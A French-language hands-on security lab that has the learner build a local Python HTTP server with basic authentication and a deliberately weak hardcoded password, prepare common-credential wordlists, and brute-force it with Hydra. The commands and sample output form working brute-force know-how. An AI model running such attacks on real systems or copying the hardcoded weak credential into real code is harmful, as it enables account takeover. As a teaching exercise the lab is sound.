Attaquer les services HTTP avec Hydra

Introduction

Dans ce laboratoire, vous apprendrez à mener des attaques par force brute sur des services HTTP en utilisant Hydra, un outil polyvalent de craquage de mots de passe. Vous explorerez la configuration d'un serveur HTTP Python avec une authentification de base et testerez sa sécurité par le biais d'attaques systématiques de type "credential stuffing" (attaques par remplissage d'identifiants).

L'exercice couvre la création de listes de mots (wordlists), la configuration des paramètres d'Hydra et l'analyse des résultats d'attaque pour identifier les faiblesses d'authentification. Cette session pratique démontre les techniques essentielles pour évaluer la sécurité des services web contre les tentatives de force brute.

Installer un serveur HTTP local

Dans cette étape, vous allez installer un serveur HTTP local en utilisant le module intégré de Python. Ce serveur simulera un véritable serveur web avec une authentification de base, que nous utiliserons comme cible pour notre attaque par force brute Hydra plus tard. Comprendre comment fonctionnent les serveurs web est fondamental avant de tenter de tester leur sécurité.

Le module http.server de Python offre un moyen rapide de créer un serveur web de base à des fins de test. Bien qu'il ne soit pas adapté à la production, il est parfait pour notre laboratoire car il démontre les bases du protocole HTTP sans configuration complexe. Le serveur fonctionnera par défaut sur le port 8000.

1. Tout d'abord, naviguez vers votre répertoire de projet. Cela garantit que tous les fichiers sont organisés au même endroit :

cd ~/project

2. Créez un répertoire dédié pour vos fichiers de serveur web. Le fait de séparer le contenu web permet de maintenir l'organisation :

mkdir http_server
cd http_server

3. Créez une page d'accueil simple. Ce fichier HTML sera servi lorsque quelqu'un accédera à votre serveur web :

echo "<h1>Welcome to LabEx HTTP Server</h1>" > index.html

4. Démarrez le serveur HTTP Python. Le symbole & l'exécute en arrière-plan afin que vous puissiez continuer à utiliser le terminal :

python3 -m http.server 8000 &

Appuyez sur Enter si vous souhaitez continuer à utiliser le terminal.

5. Vérifiez que le serveur est en cours d'exécution. La commande netstat affiche les connexions réseau actives et les ports d'écoute :

netstat -tulnp | grep 8000

Vous devriez voir une sortie confirmant que Python écoute sur le port 8000 :

tcp    0    0 0.0.0.0:8000    0.0.0.0:*    LISTEN    1234/python3

6. Testez la fonctionnalité du serveur. La commande curl récupère la page web pour confirmer que tout fonctionne :

curl http://localhost:8000

Vous devriez recevoir le contenu HTML que vous avez créé, ce qui prouve que le serveur est opérationnel :

<h1>Welcome to LabEx HTTP Server</h1>

Avec le serveur web de base en cours d'exécution, nous sommes prêts à implémenter l'authentification à l'étape suivante. Cette base est cruciale car Hydra interagira avec ce serveur exactement comme il le ferait avec n'importe quel serveur web réel utilisant l'authentification de base (basic authentication).

Configurer un serveur HTTP avec l'authentification de base (Basic Auth)

Dans cette étape, vous allez configurer l'authentification de base (basic authentication) pour le serveur HTTP que vous avez installé précédemment. L'authentification de base est une méthode simple où le client envoie un nom d'utilisateur et un mot de passe avec chaque requête. Cela crée une couche de sécurité que nous testerons plus tard en tentant de la forcer par force brute à l'aide d'Hydra - ce qui démontre pourquoi les mots de passe faibles sont dangereux.

1. Tout d'abord, assurez-vous que vous êtes dans le bon répertoire où nous allons configurer notre serveur web protégé :

cd ~/project/http_server

2. Créez un fichier de mots de passe à l'aide de l'utilitaire htpasswd. Cet outil est fourni avec le paquet apache2-utils (déjà installé dans la VM LabEx) et permet de gérer les fichiers de mots de passe pour l'authentification de base :

htpasswd -c .htpasswd admin

Lorsque vous y êtes invité, entrez password123 comme mot de passe. Nous utilisons intentionnellement un mot de passe faible ici pour démontrer avec quelle facilité les mots de passe simples peuvent être craqués.

3. Nous allons maintenant créer un script Python pour servir du contenu HTTP avec l'authentification de base. Ce script vérifiera les informations d'identification avant d'autoriser l'accès :

nano auth_server.py

4. Collez le code Python suivant. Cela crée un serveur HTTP personnalisé qui :
   • Nécessite une authentification de base (Basic Authentication)
   • Valide les informations d'identification par rapport à notre fichier .htpasswd
   • Sert du contenu uniquement après une authentification réussie

from http.server import HTTPServer, BaseHTTPRequestHandler
import base64

class AuthHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        auth_header = self.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Basic '):
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(b'Authentication required')
            return

        auth_decoded = base64.b64decode(auth_header[6:]).decode('utf-8')
        username, password = auth_decoded.split(':', 1)

        if username == 'admin' and password == 'password123':
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            with open('index.html', 'rb') as f:
                self.wfile.write(f.read())
        else:
            self.send_response(401)
            self.send_header('WWW-Authenticate', 'Basic realm="LabEx"')
            self.end_headers()
            self.wfile.write(b'Authentication failed')

if __name__ == '__main__':
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, AuthHandler)
    print("Server running on port 8000...")
    httpd.serve_forever()

5. Enregistrez le fichier (Ctrl+O, Entrée, Ctrl+X dans nano) et arrêtez le serveur HTTP précédent qui n'avait pas d'authentification :

pkill -f "python3 -m http.server"

6. Démarrez notre nouveau serveur HTTP authentifié en arrière-plan :

python3 auth_server.py &

7. Testons l'authentification en essayant d'accéder au serveur sans informations d'identification :

curl -v http://localhost:8000

Vous devriez recevoir une réponse 401 Unauthorized, ce qui signifie que notre authentification fonctionne.

8. Essayez maintenant d'accéder avec les informations d'identification correctes que nous avons configurées précédemment :

curl -v -u admin:password123 http://localhost:8000

Vous devriez maintenant voir le contenu HTML de votre fichier index.html, ce qui prouve que l'authentification fonctionne correctement.

Le serveur est maintenant correctement protégé par une authentification de base et prêt pour notre démonstration d'attaque par force brute dans les prochaines étapes. Cette configuration imite les scénarios du monde réel où les serveurs web utilisent l'authentification de base (basic auth), montrant à la fois comment elle fonctionne et ses vulnérabilités potentielles.

Préparer les listes de noms d'utilisateur et de mots de passe

Dans cette étape, vous allez créer des listes de mots (wordlists) qu'Hydra utilisera pour tester les combinaisons possibles de noms d'utilisateur et de mots de passe contre l'authentification de base HTTP (HTTP basic authentication). Ces listes constituent la base d'une attaque par dictionnaire, où nous essayons systématiquement des informations d'identification courantes plutôt que de deviner au hasard.

1. Tout d'abord, naviguez vers votre répertoire de projet. Cela garantit que tous vos fichiers restent organisés au même endroit :

cd ~/project

2. Créez un répertoire dédié pour vos listes de mots. Le fait de les séparer les rend plus faciles à gérer :

mkdir wordlists
cd wordlists

3. Créez un fichier de liste de noms d'utilisateur à l'aide de nano, un éditeur de texte simple. Nous allons le remplir avec des noms d'utilisateur administratifs courants qui sont fréquemment utilisés par défaut :

nano usernames.txt

Ajoutez ces noms d'utilisateur courants (un par ligne) :

admin
root
user
test
guest
administrator

4. De même, créez un fichier de liste de mots de passe. Ce sont des mots de passe couramment utilisés ou faciles à deviner :

nano passwords.txt

Ajoutez ces mots de passe courants (un par ligne) :

password123
password
123456
admin
letmein
qwerty

5. Vérifiez le contenu de vos fichiers pour vous assurer qu'ils ont été créés correctement. La commande cat affiche le contenu des fichiers dans le terminal :

cat usernames.txt
cat passwords.txt

6. (Facultatif) Générez des mots de passe supplémentaires à l'aide de crunch, un générateur de listes de mots. Cette commande crée jusqu'à 100 combinaisons de nombres à 4 chiffres, ce qui est utile pour tester des mots de passe numériques simples :

crunch 4 4 0123456789 | head -n 100 > numbers.txt

7. Combinez vos listes de mots de passe en un seul fichier. Cela donne à Hydra plus de variations à tester pendant l'attaque :

cat passwords.txt numbers.txt > combined_passwords.txt

8. Vérifiez la liste de mots de passe combinée. La commande head affiche uniquement les 10 premières lignes, ce qui vous permet de vérifier rapidement que la fusion a fonctionné :

head combined_passwords.txt

Vous devriez voir une sortie comme celle-ci :

password123
password
123456
admin
letmein
qwerty
0000
0001
0002
0003

Ces listes de mots contiennent à la fois les informations d'identification correctes (admin/password123) que nous avons configurées précédemment et de nombreuses combinaisons incorrectes. Cette configuration simule de manière réaliste la façon dont un attaquant tenterait de forcer l'ouverture d'une session (brute-force) en essayant de nombreuses informations d'identification possibles. Dans l'étape suivante, nous utiliserons Hydra pour automatiser le test de ces combinaisons contre notre serveur HTTP.

Lancer une attaque Hydra sur le service HTTP

Dans cette étape, vous allez utiliser Hydra pour effectuer une attaque par force brute (brute-force attack) contre le service d'authentification de base HTTP (HTTP basic authentication) que vous avez configuré précédemment. Hydra est un outil puissant de craquage de mots de passe qui essaie systématiquement toutes les combinaisons nom d'utilisateur/mot de passe à partir de listes de mots (wordlists) pour trouver des informations d'identification valides. Cela démontre pourquoi les mots de passe faibles sont vulnérables aux attaques automatisées.

1. Tout d'abord, assurez-vous que votre serveur HTTP est toujours en cours d'exécution. Cette commande vérifie si le processus du serveur existe et le redémarre si nécessaire :

pgrep -fa "python3 auth_server.py" || cd ~/project/http_server && python3 auth_server.py &

2. Naviguez vers votre répertoire de listes de mots (wordlists) où vous avez stocké les fichiers de noms d'utilisateur et de mots de passe. Ces fichiers contiennent les combinaisons qu'Hydra testera :

cd ~/project/wordlists

3. Exécutez Hydra avec cette commande pour attaquer le service HTTP. L'option -L spécifie la liste des noms d'utilisateur, -P la liste des mots de passe, et http-get / indique que nous attaquons une requête HTTP GET de base :

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

4. Observez la sortie d'Hydra lorsqu'il essaie des combinaisons. En cas de succès, vous verrez une sortie indiquant quelles informations d'identification ont fonctionné :

[DATA] attacking http-get://localhost:8000/
[8000][http-get] host: localhost   login: admin   password: password123
1 of 1 target successfully completed, 1 valid password found

5. Pour voir une sortie plus détaillée incluant chaque tentative effectuée par Hydra, ajoutez l'option -v (verbose) :

hydra -v -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get /

6. (Facultatif) Enregistrez les résultats dans un fichier pour une analyse ultérieure. L'option -o spécifie le fichier de sortie :

hydra -L usernames.txt -P combined_passwords.txt localhost -s 8000 http-get / -o hydra_results.txt

7. Vérifiez le fichier de résultats enregistré pour voir les informations d'identification réussies :

cat hydra_results.txt

L'attaque devrait réussir à trouver les informations d'identification (admin/password123) que nous avons configurées précédemment. Cela montre à quelle vitesse les informations d'identification faibles peuvent être découvertes grâce à des attaques automatisées par force brute (automated brute-force attacks), soulignant l'importance de mots de passe forts.

Résumé

Dans ce TP (travaux pratiques), vous avez appris à configurer un serveur HTTP local avec Python et à mettre en œuvre une authentification de base à des fins de tests de sécurité. Le processus comprenait la création de répertoires web, la configuration de l'authentification avec htpasswd et la vérification de la fonctionnalité du serveur à l'aide d'outils courants tels que curl.

De plus, vous avez acquis une expérience pratique dans la préparation de listes d'informations d'identification (credential lists) et l'exécution d'attaques par force brute (brute-force attacks) contre des services HTTP à l'aide d'Hydra. Cet exercice a démontré l'importance de mots de passe forts et les vulnérabilités des mécanismes d'authentification de base lorsque des informations d'identification faibles sont utilisées.